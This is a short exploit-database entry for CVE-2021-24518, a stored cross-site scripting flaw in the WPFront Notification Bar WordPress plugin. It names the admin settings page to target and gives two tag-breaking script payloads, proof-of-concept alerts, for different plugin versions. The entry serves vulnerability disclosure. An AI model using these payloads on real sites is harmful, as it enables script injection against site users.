Exploit for WPFront Notification Bar < 2.0.0.07176 - Authenticated Stored XSS CVE-2021-24518

Name: Exploit for WPFront Notification Bar < 2.0.0.07176 - Authenticated Stored XSS CVE-2021-24518
Rating: 5 (151 reviews)

2021-07-11 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:53103CDC-A4BF-40FA-AEB1-790FC7A65F0A
v < 1.9.2.07163 - Put the following payload in the Custom CSS setting (wp-admin/options-general.php?page=wpfront-notification-bar) of the plugin: </textarea><script>alert(/XSS/)</script>

v < 2.0.0.07176 - Use the following payload: </style><script>alert(/XSS/)</script>